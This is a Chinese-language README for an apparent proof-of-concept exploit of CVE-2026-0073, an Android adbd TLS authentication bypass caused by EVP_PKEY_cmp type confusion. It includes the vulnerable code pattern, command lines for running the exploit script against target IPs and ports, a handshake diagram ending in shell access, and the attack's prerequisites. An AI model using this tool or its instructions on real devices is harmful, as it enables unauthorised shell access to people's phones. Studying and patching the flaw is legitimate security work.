CVE-2026-0073 — Android ADB 守护进程(adbd)通过 EVP_PKEY_cmp 类型混淆实现 TLS 认证绕过。利用 EC/Ed25519 密钥不匹配,通过 WiFi 获取未授权的 shell 访问权限。适用于 Android 14+ 的 PoC 漏洞利用。
Android 的 ADB 守护进程(adbd)中存在一个严重的认证绕过漏洞,允许本地网络上的任意攻击者在未经用户授权的情况下获取目标设备的完整 shell。
该漏洞存在于 daemon/auth.cpp 中的 adbd_tls_verify_cert() 函数,其中 EVP_PKEY_cmp() 被当作布尔值使用。当存储的密钥为 RSA,而呈现的 TLS 客户端证书携带非 RSA 密钥(EC P-256 或 Ed25519)时,EVP_PKEY_cmp() 返回 -1(类型不匹配),该值在 C/C++ 中为真值,因此 authorized = true。
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
EVP_PKEY_cmp() 返回值 | 含义 | 在 C 中为真? | 结果 |
|---|---|---|---|
1 | 密钥匹配 | ✅ | 已授权(正确) |
0 | 密钥不同 | ❌ | 已拒绝(正确) |
-1 | 类型不匹配 | ✅ | 已授权(BUG) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
默认情况下,脚本会自动依次尝试 EC P-256 → Ed25519 → EC/TLS 1.2,直到其中一种成功。
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| 要求 | 详情 |
|---|---|
| 开发者选项 | 在目标设备上已启用 |
| 无线调试 | 已启用(或通过端口 5555 上的 TCP 使用 ADB) |
| 已存储的 RSA 密钥 | 设备必须至少通过 USB 配对过一次(/data/misc/adb/adb_keys) |
| 网络访问 | 攻击者必须能够访问 adbd TCP 端口 |
⚠️ 重要: RSA 密钥必须位于
/data/misc/adb/adb_keys中,该文件通过 USB 调试配对(接受“允许 USB 调试?”对话框)填充。无线调试配对(adb pair)会将密钥存储在不同的位置(adb_known_hosts.pb),并且不满足此要求。
adb shell getprop ro.build.version.security_patch
已在以下环境中测试并确认可正常工作:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
此分支包含多项增强功能:
select(),实现跨平台支持-v 标志输出详细的协议跟踪CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
本工具仅供授权的安全测试与教育目的使用。未经授权访问计算机系统属于违法行为。测试前请务必获得适当授权。作者对滥用本软件不承担任何责任。
如果这对你的研究有帮助,请点个 ⭐